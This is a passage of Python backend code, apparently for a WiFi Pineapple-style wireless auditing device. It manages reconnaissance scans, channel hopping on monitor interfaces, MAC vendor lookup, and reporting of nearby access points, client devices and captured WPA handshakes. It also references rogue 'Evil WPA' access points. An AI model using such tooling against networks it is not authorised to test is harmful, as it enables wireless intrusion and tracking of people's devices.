'0050F2': 'Micro-Star', '00606E': 'Xerox', '00A0C9': 'Intel', '00C0CA': 'Xerox',
'040CCE': 'Apple', '041854': 'Ubiquiti', '04ED33': 'Apple', '04F13E': 'Apple',
'04F938': 'Apple', '080007': 'Apple', '080028': 'Texas Instruments',
'080046': 'Sony', '083E8E': 'Apple', '089E01': 'Apple', '0C74C2': 'Apple',
'0C96BF': 'Huawei', '107BEF': 'Huawei', '10A2DC': 'Apple', '10BF48': 'Apple',
'1425BE': 'Huawei', '147A19': 'Apple', '1499E2': 'Apple', '14AC3C': 'Apple',
'14CC20': 'TP-Link', '181D86': 'Apple', '1C5C55': 'Apple', '1CE1A7': 'TP-Link',
'20010F': 'Apple', '20620B': 'Apple', '240AC4': 'Espressif', '241F4A': 'Apple',
'24A0DF': 'Apple', '24A43C': 'Ubiquiti', '24ABC0': 'Apple', '24B6FD': 'Espressif',
'247189': 'Espressif', '28CDC1': 'Raspberry Pi', '28CFE9': 'Apple',
'2C6E85': 'Apple', '2C7E81': 'Apple', '2CCF67': 'Raspberry Pi', '300C23': 'Apple',
'30720B': 'Apple', '3402E5': 'Apple', '3478D7': 'Apple', '381020': 'Apple',
'3C0754': 'Apple', '3C2177': 'TP-Link', '3C71BF': 'Espressif', '3C99F7': 'ASUS',
'3CD16E': 'Apple', '4006A0': 'Apple', '4083DE': 'Apple', '40B076': 'ASUS',
'40D3AE': 'Apple', '443212': 'Apple', '44C9A2': 'Apple', '44D9E7': 'Ubiquiti',
'48BF6B': 'Apple', '48C04E': 'Apple', '4C5E0C': 'MikroTik', '502D21': 'Apple',
'50C7BF': 'TP-Link', '54843B': 'Apple', '549392': 'ASUS', '54E43A': 'Apple',
'58B0D4': 'Apple', '586A97': 'TP-Link', '5C961D': 'Apple', '5CE1A1': 'Apple',
'603C07': 'Apple', '6083B2': 'Apple', '60D9C7': 'TP-Link', '640094': 'Apple',
'640980': 'TP-Link', '64167F': 'MikroTik', '649EF3': 'Apple', '6C0486': 'TP-Link',
'6C3B6B': 'MikroTik', '6C4008': 'Apple', '6CD68A': 'Apple', '70A2B3': 'Apple',
'742AF0': 'Apple', '748898': 'MikroTik', '74C46B': 'Apple', '782B1D': 'Apple',
'7847A6': 'Apple', '78CA39': 'Apple', '78E3B5': 'Ubiquiti', '7C0191': 'Apple',
'7CD1C3': 'Apple', '802AA8': 'Ubiquiti', '80BE05': 'Apple', '847C9B': 'Apple',
'84F3EB': 'Espressif', '88D42A': 'Apple', '8C3AF4': 'Apple', '8C7B9D': 'Apple',
'8CDEF9': 'Xiaomi', '90039F': 'Apple', '90B21F': 'Apple', '90F652': 'TP-Link',
'94099B': 'Apple', '98D6BB': 'Apple', '9CD24B': 'Ubiquiti', 'A01828': 'Apple',
'A020A6': 'Xiaomi', 'A05E6B': 'Apple', 'A07591': 'TP-Link', 'A41F72': 'Apple',
'A4B197': 'Apple', 'A4CF12': 'Espressif', 'A86484': 'Apple', 'ACBC32': 'Apple',
'B0DA00': 'Apple', 'B4E1EB': 'Apple', 'B827EB': 'Raspberry Pi',
'B8E45B': 'Raspberry Pi', 'BCA834': 'Apple', 'C03F0E': 'TP-Link',
'C04A00': 'Apple', 'C05E06': 'Apple', 'C08C60': 'Apple', 'C0E422': 'Apple',
'C45F5E': 'Espressif', 'C46516': 'Apple', 'C47D4F': 'Apple', 'C85B76': 'Apple',
'C8B5B7': 'Apple', 'C89A00': 'Apple', 'CC08E0': 'Apple', 'CC25EF': 'Apple',
'CC3D82': 'Apple', 'CCC73B': 'Apple', 'D0E140': 'Apple', 'D4154F': 'TP-Link',
'D4CA6D': 'Apple', 'D8A25E': 'Apple', 'DCA632': 'Raspberry Pi',
'DC6DCD': 'Apple', 'E03005': 'Apple', 'E45F01': 'Raspberry Pi',
'E45610': 'Apple', 'E4E4AB': 'Apple', 'E8802E': 'TP-Link', 'E8988F': 'Espressif',
'E8F2E2': 'Apple', 'EC8EB5': 'TP-Link', 'F0175E': 'Apple', 'F0D5BF': 'Apple',
'F4044C': 'Apple', 'F49BA0': 'Xiaomi', 'F4E97D': 'Apple', 'F8FFC2': 'Apple',
'FC633E': 'Google', 'FCF080': 'Apple',
}
OUI_DATA_PATHS = [
'/usr/share/nmap/nmap-mac-prefixes',
'/usr/share/macchanger/wireless.list',
]
_oui_identity_cache = None
def _oui_prefix(mac):
"""'C8:9E:43:64:80:80' / 'C89E43648080' -> 'C89E43' (uppercase, no colons)."""
mac = (mac or '').strip().upper().replace(':', '').replace('-', '').replace('.', '')
if len(mac) >= 6 and all(c in '0123456789ABCDEF' for c in mac[:6]):
return mac[:6]
return None
def oui_vendor(mac):
"""Best-effort vendor name for a MAC. Locally administered -> 'Local'."""
if not mac or mac == '--':
return 'Unknown'
prefix = _oui_prefix(mac)
if prefix is None:
return 'Unknown'
if int(prefix[1], 16) & 2: # locally administered (second hex digit bit 1)
return 'Local'
return OUI_VENDORS.get(prefix, 'Unknown')
def oui_identity(mac):
"""Resolve a MAC to a JSON-safe manufacturer identity."""
global _oui_identity_cache
prefix = _oui_prefix(mac)
if prefix is None:
return {'manufacturer': 'Unknown', 'model': None, 'oui': None,
'source': 'unknown'}
if int(prefix[1], 16) & 2:
return {'manufacturer': 'Local/Randomized', 'model': None, 'oui': prefix,
'source': 'local'}
if _oui_identity_cache is None:
_oui_identity_cache = {}
for path, source in zip(OUI_DATA_PATHS, ('nmap', 'macchanger')):
try:
with open(path, 'r') as data_file:
for line in data_file:
match = re.match(r'^\s*([0-9A-Fa-f:.-]+)\s+(.+)$', line)
if not match:
continue
line_prefix = _oui_prefix(match.group(1))
if line_prefix and line_prefix not in _oui_identity_cache:
name = match.group(2).strip()
if name:
_oui_identity_cache[line_prefix] = (name, source)
except (OSError, IOError):
continue
manufacturer, source = _oui_identity_cache.get(
prefix, (OUI_VENDORS.get(prefix, 'Unknown'),
'builtin' if prefix in OUI_VENDORS else 'unknown'))
return {'manufacturer': manufacturer, 'model': None, 'oui': prefix,
'source': source}
def band_of(freq):
"""Channel frequency (MHz) -> '2.4' | '5' | '6' | '--'."""
if freq is None:
return '--'
try:
freq = int(freq)
except (TypeError, ValueError):
return '--'
if freq <= 0:
return '--'
if freq < 2500:
return '2.4'
if freq < 6000:
return '5'
return '6'
def recon_scans_data(limit=50, _timeout=20, db=None):
if db is None:
db = RECON_DB
rows = _db_rows(db,
'WITH recent AS (SELECT id, time, name FROM scan ORDER BY id DESC LIMIT %d), '
'devices AS (SELECT scan, count(*) AS devices FROM wifi_device '
'WHERE scan IN (SELECT id FROM recent) GROUP BY scan), '
'aps AS (SELECT scan, count(*) AS aps FROM ssid '
'WHERE type = 8 AND scan IN (SELECT id FROM recent) GROUP BY scan), '
'captures AS (SELECT scan, count(*) AS handshakes FROM handshake '
'WHERE scan IN (SELECT id FROM recent) GROUP BY scan) '
'SELECT s.id, s.time, s.name, '
'COALESCE(w.devices, 0) AS devices, '
'COALESCE(a.aps, 0) AS aps, '
'COALESCE(h.handshakes, 0) AS handshakes '
'FROM recent s '
'LEFT JOIN devices w ON w.scan = s.id '
'LEFT JOIN aps a ON a.scan = s.id '
'LEFT JOIN captures h ON h.scan = s.id '
'ORDER BY s.id DESC' % limit, timeout=_timeout)
return {'scans': [{'id': r['id'], 'time': r['time'], 'name': r.get('name'),
'devices': r['devices'], 'aps': r['aps'],
'handshakes': r['handshakes']} for r in rows]}
def recon_scan_data(scan_id, _timeout=20, _limit=None, db=None):
"""Scan detail with per-AP enrichment (band/vendor/first_seen/last_seen)
plus an unassociated count.
With `_limit`, client rows are capped and the unassociated rows collapse to
a count. The live Scanning view never renders the full client list, and the
unassociated/device branches dominate query time on slow recon dbs, so the
bounded mode keeps the poll and the report downloads cheap.
"""
if db is None:
db = RECON_DB
if _limit:
sql = ("WITH dev AS (SELECT hash, time, mac, signal, freq, packets "
"FROM wifi_device WHERE scan = %d LIMIT %d) "
"SELECT 'scan' AS kind, id AS row_id, time, name, "
"NULL AS mac, NULL AS bssid, NULL AS ssid, NULL AS hidden, "
"NULL AS channel, NULL AS encryption, NULL AS signal, NULL AS freq, "
"NULL AS packets, NULL AS stahash, NULL AS aphash "
"FROM scan WHERE id = %d "
"UNION ALL SELECT 'ap', hash, time, NULL, NULL, bssid, ssid, hidden, "
"channel, encryption, signal, freq, NULL, NULL, NULL "
"FROM ssid WHERE scan = %d AND type = 8 AND bssid IS NOT NULL "
"UNION ALL SELECT 'device', hash, time, NULL, mac, NULL, NULL, NULL, "
"NULL, NULL, signal, freq, packets, NULL, NULL "
"FROM dev "
"UNION ALL SELECT 'handshake', hash, time, NULL, NULL, NULL, NULL, NULL, "
"NULL, NULL, NULL, NULL, NULL, stahash, aphash "
"FROM handshake WHERE scan = %d" % (scan_id, _limit, scan_id, scan_id, scan_id))
rows = _db_rows(db, sql, timeout=_timeout)
cnt = _db_rows(db, 'SELECT count(*) AS c FROM ssid WHERE scan = %d AND type = 4'
% scan_id, timeout=_timeout)
unassociated = cnt[0]['c'] if cnt else 0
else:
rows = _db_rows(db,
"SELECT 'scan' AS kind, id AS row_id, time, name, "
"NULL AS mac, NULL AS bssid, NULL AS ssid, NULL AS hidden, "
"NULL AS channel, NULL AS encryption, NULL AS signal, NULL AS freq, "
"NULL AS packets, NULL AS stahash, NULL AS aphash "
"FROM scan WHERE id = %d "
"UNION ALL SELECT 'ap', hash, time, NULL, NULL, bssid, ssid, hidden, "
"channel, encryption, signal, freq, NULL, NULL, NULL "
"FROM ssid WHERE scan = %d AND type = 8 AND bssid IS NOT NULL "
"UNION ALL SELECT 'unassociated', hash, time, NULL, NULL, NULL, ssid, "
"hidden, channel, encryption, signal, freq, NULL, NULL, NULL "
"FROM ssid WHERE scan = %d AND type = 4 "
"UNION ALL SELECT 'device', hash, time, NULL, mac, NULL, NULL, NULL, "
"NULL, NULL, signal, freq, packets, NULL, NULL "
"FROM wifi_device WHERE scan = %d "
"UNION ALL SELECT 'handshake', hash, time, NULL, NULL, NULL, NULL, NULL, "
"NULL, NULL, NULL, NULL, NULL, stahash, aphash "
"FROM handshake WHERE scan = %d" % (scan_id, scan_id, scan_id, scan_id, scan_id),
timeout=_timeout)
unassociated = sum(1 for r in rows if r.get('kind') == 'unassociated')
scans = [r for r in rows if r.get('kind') == 'scan']
if not scans:
return None
# Per-bssid first/last sighting across the scan's ssid rows.
seen = {}
for r in (row for row in rows if row.get('kind') == 'ap'):
mac = (r.get('bssid') or '').strip().upper()
t = r.get('time') or 0
lo, hi = seen.get(mac, (None, None))
seen[mac] = (t if lo is None else min(lo, t), t if hi is None else max(hi, t))
aps = []
ap_macs = set()
for r in (row for row in rows if row.get('kind') == 'ap'):
mac = (r.get('bssid') or '').strip().upper()
ap_macs.add(mac)
lo, hi = seen.get(mac, (None, None))
aps.append({'bssid': fmt_mac(r.get('bssid')),
'ssid': decode_ssid(r.get('ssid')),
'hidden': bool(r.get('hidden')),
'channel': r.get('channel'),
'signal': r.get('signal'),
'freq': r.get('freq'),
'encryption': decode_encryption(r.get('encryption')),
'band': band_of(r.get('freq')),
'vendor': oui_vendor(fmt_mac(r.get('bssid'))),
'device_identity': oui_identity(fmt_mac(r.get('bssid'))),
'first_seen': lo,
'last_seen': hi})
aps.sort(key=lambda row: row['signal'] if row['signal'] is not None else 0)
devices = [r for r in rows if r.get('kind') == 'device']
mac_of = {r['row_id']: fmt_mac(r.get('mac')) for r in devices}
ssid_of = {}
for r in (row for row in rows if row.get('kind') == 'ap'):
bssid = _norm_mac(r.get('bssid'))
if bssid and bssid not in ssid_of:
ssid_of[bssid] = decode_ssid(r.get('ssid'))
evidence = {}
def add_association(client_mac, ssid, bssid=None, source=None, **timestamps):
client_mac = _norm_mac(client_mac)
bssid = _norm_mac(bssid) if bssid else None
ssid = decode_ssid(ssid)
if not client_mac or not ssid or not source:
return
key = (client_mac, bssid, ssid)
association = evidence.get(key)
if association is None:
association = {'ssid': ssid, 'sources': []}
if bssid:
association['bssid'] = bssid
evidence[key] = association
if source not in association['sources']:
association['sources'].append(source)
for name, value in timestamps.items():
if value is not None:
association[name] = value
for r in (row for row in rows if row.get('kind') == 'handshake'):
client = mac_of.get(r.get('stahash'))
bssid = mac_of.get(r.get('aphash'))
add_association(client, ssid_of.get(_norm_mac(bssid)), bssid, 'handshake')
try:
hostap_rows = _db_rows(
db, 'SELECT mac, ssid, connected_time, disconnected_time '
'FROM hostap_client WHERE scan = %d ORDER BY connected_time, id' % scan_id,
timeout=_timeout)
except Exception:
hostap_rows = []
for r in hostap_rows:
add_association(r.get('mac'), r.get('ssid'), source='hostap_client',
connected_time=r.get('connected_time'),
disconnected_time=r.get('disconnected_time'))
associations_by_client = {}
for key, association in evidence.items():
associations_by_client.setdefault(key[0], []).append(association)
for ap in aps:
ap['clients'] = []
ap['client_count'] = 0
ap_by_bssid = {_norm_mac(ap['bssid']): ap for ap in aps}
clients = []
for r in sorted(devices, key=lambda row: row.get('time') or 0):
if (r.get('mac') or '').strip().upper() in ap_macs:
continue
mac = _norm_mac(r.get('mac'))
client_associations = associations_by_client.get(mac, [])
client = {'mac': fmt_mac(r.get('mac')), 'signal': r.get('signal'),
'freq': r.get('freq'), 'packets': r.get('packets'),
'vendor': oui_identity(fmt_mac(r.get('mac'))),
'associations': client_associations}
clients.append(client)
for association in client_associations:
ap = ap_by_bssid.get(_norm_mac(association.get('bssid')))
if ap is None:
continue
if not any(item['mac'] == client['mac'] for item in ap['clients']):
ap['clients'].append(client)
ap['client_count'] += 1
handshakes = []
for r in (row for row in rows if row.get('kind') == 'handshake'):
handshakes.append({'ap': mac_of.get(r.get('aphash'), '--'),
'client': mac_of.get(r.get('stahash'), '--'),
'time': r.get('time')})
# GPS attaches to live scans only: an archived scan's coordinates would
# be a current fix, which is misleading for historical data.
scan = {'id': scans[0]['row_id'], 'time': scans[0]['time'],
'name': scans[0].get('name')}
if db is None:
try:
gps = _gps_status_data()
if gps.get('lock'):
scan['gps'] = {'lat': gps.get('lat'), 'lon': gps.get('lon'),
'alt': gps.get('alt'),
'satellites': gps.get('satellites')}
except Exception:
pass
return {'scan': scan,
'aps': aps, 'clients': clients, 'handshakes': handshakes,
'unassociated': unassociated}
def h_recon_start(ctx):
with _recon_scan_lock:
return _h_recon_start_locked(ctx)
def _h_recon_start_locked(ctx):
# Serialize starts: the firmware has no abort for a timed scan, so a
# second /recon/new while one is running just stacks another empty scan
# (the 3s-apart rows we saw). Refuse instead of piling on.
scanning, remaining = _recon_scan_snapshot()
if scanning:
return 409, {
'error': 'A recon scan is already running and cannot be '
'interrupted; it will finish automatically.',
'scan_remaining': remaining,
}
scan_time = (getattr(ctx, 'body', None) or {}).get(
'scan_time', DEFAULT_RECON_DURATION)
try:
scan_time = int(scan_time)
except (TypeError, ValueError):
return 400, {'error': 'scan_time must be an integer'}
if scan_time < 1 or scan_time > 86400:
return 400, {'error': 'scan_time is out of range'}
hop_ok, hop_detail = _recon_hopper_preflight()
if not hop_ok:
return 503, {
'error': 'Could not prepare recon radios',
'detail': hop_detail,
'hint': _recon_hop_state.get('hint') or hop_detail,
'skipped': dict(_recon_hop_state.get('skipped') or {}),
}
body = {'scan_time': scan_time}
# log/recon/start restarts the recon logger and can rotate the existing
# database. recon/new is the Pager's native "start another scan" action and
# appends a scan without discarding history.
status, data = daemon_sock_call('POST', '/api/pineap/recon/new', body=body)
if status != 200 or not (data or {}).get('success'):
detail = data if isinstance(data, dict) else {}
reason = detail.get('error') or detail.get('detail')
if not reason and status == 0:
reason = 'daemon unreachable'
_reset_recon_hop_state()
return 502, {'error': 'native recon scan failed',
'detail': ('recon/new: %s' % reason) if reason else None,
'hint': 'PineAP daemon did not start the scan. Check Health / pineapd.',
'daemon': detail or None}
_recon_scan_state['active'] = True
_recon_scan_state['started'] = time.time()
_recon_scan_state['duration'] = scan_time
_start_recon_hopper(scan_time)
result = {'ok': True, 'hopping': list(_recon_hop_state.get('ifaces') or [])}
warning = _recon_hop_state.get('warning')
if warning:
result['warning'] = warning
result['skipped'] = dict(_recon_hop_state.get('skipped') or {})
result['hint'] = _recon_hop_state.get('hint')
return 200, result
def h_recon_stop(ctx):
scanning, remaining = _recon_scan_snapshot()
if scanning:
return 409, {
'error': 'Pager firmware cannot stop a recon scan safely; '
'this scan will finish automatically',
'scan_remaining': remaining,
}
return 200, {'ok': True}
def _recon_scan_snapshot():
st = _recon_scan_state
if not st['active']:
return False, None
elapsed = time.time() - st['started']
if st['duration'] > 0 and elapsed >= st['duration']:
return False, 0
remaining = None if st['duration'] == 0 else int(st['duration'] - elapsed)
return True, remaining
def _recon_watchdog_tick():
"""Clear the UI timer when the native timed scan reaches its duration.
The Pager has no recon-stop operation. log/recon/stop controls the storage
service and leaves recon.db locked, so timed scans must end natively.
"""
st = _recon_scan_state
if st['active'] and st['duration'] > 0 and time.time() - st['started'] >= st['duration']:
st['active'] = False
try:
_restore_dummy_sta()
except Exception:
pass
def _set_monitor_channel(interface, channel):
rc, out, err = device_run(
['iw', 'dev', interface, 'set', 'channel', str(channel)], timeout=5)
if rc == 0:
return True, ''
detail = (err or out or 'command failed').strip()
return False, '%s channel %s: %s' % (interface, channel, detail[-160:])
def _iw_error_kind(detail):
text = (detail or '').lower()
if 'busy' in text or '(-16)' in text:
return 'busy'
if 'no such device' in text or 'no such file' in text:
return 'missing'
if 'network is down' in text or 'not running' in text:
return 'down'
if 'not supported' in text or 'operation not permitted' in text:
return 'unsupported'
if 'invalid argument' in text:
return 'bad_channel'
return 'other'
def _phy1_pinned():
try:
if _radio1_ap_active():
return True
except Exception:
pass
try:
return bool(_ent_running())
except Exception:
return False
def _wifi_client_mode_enabled():
"""Pager UI Wireless Client Mode (wlan0cli), not the dummy STA."""
cfg = _uci_wifi_iface('wlan0cli') or {}
return bool(cfg) and cfg.get('disabled') != '1'
def _wlan0_mgmt_enabled():
cfg = _uci_wifi_iface('wlan0mgmt') or {}
return bool(cfg) and cfg.get('disabled') != '1'
def _iface_admin_up(name):
rc, out, err = device_run(['ip', 'link', 'show', 'dev', name], timeout=5)
if rc != 0:
return False
start = (out or '').find('<')
end = (out or '').find('>', start)
if start < 0 or end < 0:
return False
return 'UP' in [flag for flag in out[start + 1:end].split(',') if flag]
def _iface_associated(name):
rc, out, err = device_run(['iw', 'dev', name, 'link'], timeout=5)
return 'connected to' in (out or '').lower()
def _dummy_sta_borrowable():
"""True when dummy wlan0 is the only phy0 pin and is safe to park.
Never parks real Client Mode, a 2.4 GHz AP, or an associated STA.
Does not write UCI.
"""
if _wifi_client_mode_enabled() or _wlan0_pinned() or _wlan0_mgmt_enabled():
return False
if _iface_associated('wlan0') or _iface_associated('wlan0cli'):
return False
return _sta_uplink_enabled() or _iface_admin_up('wlan0')
def _borrow_dummy_sta():
"""Admin-down dummy wlan0 for the scan. Restored when the scan ends."""
if _recon_hop_state.get('borrowed_wlan0'):
return True
rc, out, err = device_run(['ip', 'link', 'set', 'wlan0', 'down'], timeout=10)
if rc != 0:
return False
_recon_hop_state['borrowed_wlan0'] = True
return True
def _restore_dummy_sta():
if not _recon_hop_state.get('borrowed_wlan0'):
return
try:
device_run(['ip', 'link', 'set', 'wlan0', 'up'], timeout=10)
finally:
_recon_hop_state['borrowed_wlan0'] = False
def _keep_dummy_sta_parked():
if not _recon_hop_state.get('borrowed_wlan0'):
return
if _iface_admin_up('wlan0'):
device_run(['ip', 'link', 'set', 'wlan0', 'down'], timeout=10)
def _iface_pin_reason(interface):
"""Human reason + hint when a monitor cannot change channel."""
if interface == 'wlan0mon':
if _wifi_client_mode_enabled():
return ('2.4 GHz hopping skipped: Wireless Client Mode is holding phy0.',
'Turn off Client Mode in Settings to hop 2.4 GHz.')
if _wlan0_pinned():
return ('2.4 GHz hopping skipped: Open AP / Evil WPA is holding phy0.',
'Stop the 2.4 GHz AP to hop 2.4 GHz.')
if _wlan0_mgmt_enabled():
return ('2.4 GHz hopping skipped: the management AP is holding phy0.',
'Stop the 2.4 GHz management AP to hop 2.4 GHz.')
if _sta_uplink_enabled() or _iface_admin_up('wlan0'):
return ('2.4 GHz hopping skipped: the firmware dummy STA (wlan0) is holding phy0.',
'Recon parks this automatically when Client Mode and 2.4 GHz APs are off.')
return ('2.4 GHz hopping skipped: wlan0mon is busy.',
'Stop other 2.4 GHz tools (captures, hostapd) and retry.')
if interface == 'wlan1mon':
if _phy1_pinned():
return ('5 GHz hopping skipped: a 5 GHz AP is holding phy1.',
'Stop the 5 GHz Open / WPA / Enterprise AP to hop 5 GHz.')
return ('5 GHz hopping skipped: wlan1mon is busy.',
'Stop other 5 GHz tools and retry.')
return ('%s is unavailable.' % interface, 'Check Health and retry.')
def _reset_recon_hop_state():
_restore_dummy_sta()
_recon_hop_state.update({
'active': False, 'error': None, 'warning': None, 'hint': None,
'ifaces': [], 'skipped': {}, 'borrowed_wlan0': False,
})
def _recon_hopper_preflight():
"""Prepare monitors for a scan without blocking recon on one busy radio.
Channel control is probed once per radio. A busy phy (Resource busy -16)
is skipped so the other radio can still hop. Native recon still starts
as long as at least one monitor interface is up; hopping is best-effort.
"""
_reset_recon_hop_state()
try:
_raise_monitors()
except Exception:
pass
hoppable = []
skipped = {}
hints = []
for interface, channels in RECON_CHANNELS.items():
if _monitor_down(interface):
try:
device_run(['ip', 'link', 'set', interface, 'up'], timeout=10)
except Exception:
pass
probe = channels[0]
ok, detail = _set_monitor_channel(interface, probe)
if (not ok and interface == 'wlan0mon'
and _iw_error_kind(detail) == 'busy'
and _dummy_sta_borrowable()):
if _borrow_dummy_sta():
ok, detail = _set_monitor_channel(interface, probe)
if not ok:
ok, detail = _set_monitor_channel(interface, probe)
if not ok:
_restore_dummy_sta()
if not ok:
ok, detail = _set_monitor_channel(interface, probe)
if ok:
hoppable.append(interface)
continue
kind = _iw_error_kind(detail)
if kind == 'missing':
reason = '%s is missing.' % interface
hint = 'Bring monitors up from Health, or restart pineapd.'
elif kind == 'down':
reason = '%s is down.' % interface
hint = 'Mark VIII tried to bring it up; retry or check Health.'
else:
reason, hint = _iface_pin_reason(interface)
skipped[interface] = reason
if hint:
hints.append(hint)
_recon_hop_state['ifaces'] = hoppable
_recon_hop_state['skipped'] = skipped
up = [name for name in RECON_CHANNELS if not _monitor_down(name)]
if not hoppable and not up:
msg = 'Recon radios are unavailable. ' + ' '.join(
skipped.get(name, '') for name in RECON_CHANNELS).strip()
_recon_hop_state['hint'] = ' '.join(hints) or 'Check Health and try again.'
return False, msg or 'Recon radios are unavailable'
if skipped:
bands = []
if 'wlan0mon' in hoppable:
bands.append('2.4 GHz')
if 'wlan1mon' in hoppable:
bands.append('5 GHz')
prefix = ' '.join(skipped[name] for name in RECON_CHANNELS if name in skipped)
if bands:
warning = '%s Scanning %s only.' % (prefix, ' and '.join(bands))
else:
warning = '%s Recon will still run on the currently pinned channel(s).' % prefix
_recon_hop_state['warning'] = warning
_recon_hop_state['hint'] = ' '.join(hints)
return True, warning
return True, 'monitor channel control ready'
def _recon_hopper_loop(duration, stop_event):
deadline = time.monotonic() + duration
hoppable = [name for name in (_recon_hop_state.get('ifaces') or [])
if name in RECON_CHANNELS]
if not hoppable:
_recon_hop_state['active'] = False
return
offsets = dict((interface, 1) for interface in hoppable)
_recon_hop_state['active'] = True
_recon_hop_state['error'] = None
try:
while not stop_event.is_set() and time.monotonic() < deadline:
try:
_keep_dummy_sta_parked()
except Exception:
pass
cycle_error = None
for interface in hoppable:
channels = RECON_CHANNELS[interface]
index = offsets[interface] % len(channels)
ok, detail = _set_monitor_channel(interface, channels[index])
if not ok:
cycle_error = detail
offsets[interface] = index + 1
_recon_hop_state['error'] = cycle_error
remaining = deadline - time.monotonic()
if remaining <= 0:
break
stop_event.wait(min(RECON_HOP_INTERVAL, remaining))
finally:
if stop_event is _recon_hopper_stop:
_recon_hop_state['active'] = False
scanning, _ = _recon_scan_snapshot()
if not scanning:
try:
_restore_dummy_sta()
except Exception:
pass
def _start_recon_hopper(duration):
global _recon_hopper_stop
_recon_hopper_stop.set()
hoppable = [name for name in (_recon_hop_state.get('ifaces') or [])
if name in RECON_CHANNELS]
if not hoppable:
_recon_hop_state['active'] = False
_restore_dummy_sta()
return None
stop_event = threading.Event()
_recon_hopper_stop = stop_event
thread = threading.Thread(
target=_recon_hopper_loop, args=(duration, stop_event), daemon=True,
name='recon-channel-hopper')
thread.start()
return thread
_hopper_cache = {'updated': 0, 'online': None}
HOPPER_CACHE_SECONDS = 10.0
def _hopper_online():
"""Whether both monitor interfaces required by the scheduler exist.
iwinfo is a subprocess, so the answer is cached for a few seconds; the
UI polls status every 5s.
"""
now = time.time()
if now - _hopper_cache['updated'] < HOPPER_CACHE_SECONDS:
return _hopper_cache['online']
try:
interfaces = wifi_ifaces()
online = all(name in interfaces for name in RECON_CHANNELS)
except Exception:
online = None
_hopper_cache.update({'updated': now, 'online': online})
return online
def _recon_history_reset():
"""True when pineapd rotated the live db (error-*-recon.db exists)."""
directory = os.path.dirname(RECON_DB)
try:
names = os.listdir(directory)
except OSError:
return False
return any(n.startswith('error-') and n.endswith('recon.db') for n in names)
def h_recon_status(ctx):
scanning, remaining = _recon_scan_snapshot()
cache = _recon_status_cache
if cache['db'] != RECON_DB:
cache.update({'db': RECON_DB, 'updated': 0,
'last_scan': None, 'last_activity': None})
stale = False
try:
rows = _db_rows(RECON_DB,
'SELECT (SELECT MAX(time) FROM scan) AS last_scan, '
'(SELECT MAX(time) FROM wifi_device) AS last_activity')
if rows:
cache['last_scan'] = rows[0].get('last_scan')
cache['last_activity'] = rows[0].get('last_activity')
cache['updated'] = time.time()
except RuntimeError:
stale = True
last = cache['last_scan']
last_activity = cache['last_activity']
if last_activity is None:
last_activity = last
return 200, {'last_scan': last, 'last_activity': last_activity,
'active': last_activity is not None and int(time.time()) - last_activity < 300,
'scanning': scanning, 'scan_remaining': remaining, 'stale': stale,
'hopper_online': _hopper_online(),
'hopper_error': _recon_hop_state.get('error'),
'hopper_warning': _recon_hop_state.get('warning'),
'hopper_hint': _recon_hop_state.get('hint'),
'hopper_ifaces': list(_recon_hop_state.get('ifaces') or []),
'wlan0_pinned': _wlan0_pinned(),
'wlan0_sta': _sta_uplink_enabled(),
'dummy_sta_parked': bool(_recon_hop_state.get('borrowed_wlan0')),
'history_reset': _recon_history_reset()}
def _db_write(db, sql):
if sqlite3 is not None:
conn = sqlite3.connect(db)
try:
conn.execute(sql)
conn.commit()
finally:
conn.close()
return
rc, out, err = device_run([SQLITE_CLI, '-cmd', '.timeout 5000', db, sql])
attempt = 1
while rc != 0 and any(m in (err or '') for m in SQLITE_BUSY_MSGS) and attempt < 5:
time.sleep(0.3)
rc, out, err = device_run([SQLITE_CLI, '-cmd', '.timeout 5000', db, sql])
attempt += 1
if rc != 0:
raise RuntimeError('sqlite write failed: %s' % (err or out).strip())
RECON_CHILD_TABLES = ['wifi_device', 'ssid', 'handshake', 'hostap_chalresp',
'hostap_basic', 'hostap_client', 'hostap_handshake']
def recon_delete_scan(scan_id):
for t in RECON_CHILD_TABLES:
try:
_db_write(RECON_DB, 'DELETE FROM %s WHERE scan = %d' % (t, scan_id))
except Exception:
continue
_db_write(RECON_DB, 'DELETE FROM scan WHERE id = %d' % scan_id)
def h_recon_delete(ctx):
scan_id = int(ctx.args[0])
if not _db_rows(RECON_DB, 'SELECT id FROM scan WHERE id = %d' % scan_id):
return 404, {'error': 'scan not found'}
recon_delete_scan(scan_id)
return 200, {'ok': True}
def h_recon_delete_all(ctx):
"""Clear every recorded scan from the live recon database. Rotated
archive files (error-*/diagnostic-* recon dbs) are left untouched."""
count = 0
try:
rows = _db_rows(RECON_DB, 'SELECT COUNT(*) AS c FROM scan', timeout=20)
count = rows[0]['c'] if rows else 0
except RuntimeError:
pass
for t in RECON_CHILD_TABLES + ['scan']:
try:
_db_write(RECON_DB, 'DELETE FROM %s' % t)
except Exception:
continue
_recon_scans_cache['updated'] = 0
return 200, {'ok': True, 'deleted': count}
def h_recon_scan_download(ctx):
scan_id = int(ctx.args[0])
data = recon_scan_data(scan_id)
if data is None:
return 404, {'error': 'scan not found'}
return 200, Download(json.dumps(data, indent=2).encode('utf-8'),
'application/json', 'scan-%d.json' % scan_id)
def recon_events_data(limit=200):
sql = ("SELECT time, 'auth attempt' AS type FROM hostap_basic WHERE time IS NOT NULL "
"UNION ALL SELECT time, 'challenge response' FROM hostap_chalresp WHERE time IS NOT NULL "
"UNION ALL SELECT time, 'handshake' FROM hostap_handshake WHERE time IS NOT NULL "
"UNION ALL SELECT time, 'wpa handshake' FROM handshake WHERE time IS NOT NULL "
"ORDER BY time DESC LIMIT %d" % limit)
try:
rows = _db_rows(RECON_DB, sql)
except Exception:
rows = []
return {'events': [{'time': r.get('time'), 'type': r.get('type')} for r in rows]}
def h_recon_events(ctx):
return 200, recon_events_data()
def _examine_seconds(body):
try:
seconds = int(body.get('seconds')) if body.get('seconds') is not None else 30
except (TypeError, ValueError):
seconds = 30
return max(8, min(seconds, 600))
def h_recon_examine(ctx):
body = getattr(ctx, 'body', None) or {}
bssid = fmt_mac((body.get('bssid') or '').strip())
if bssid in ('', '--'):
bssid = ''
channel = body.get('channel')
seconds = _examine_seconds(body)
try:
if bssid:
if not re.match(r'^[0-9A-Fa-f]{2}(:[0-9A-Fa-f]{2}){5}$', bssid):
return 400, {'error': 'invalid BSSID'}
hak5('PINEAPPLE_EXAMINE_BSSID', bssid.upper(), str(seconds))
elif channel is not None:
ch = int(channel)
if ch < 1 or ch > 233:
return 400, {'error': 'invalid channel'}
hak5('PINEAPPLE_EXAMINE_CHANNEL', str(ch), str(seconds))
else:
return 400, {'error': 'examine requires bssid or channel'}
except RuntimeError as exc:
detail = str(exc)
scanning, remaining = _recon_scan_snapshot()
if scanning:
return 409, {
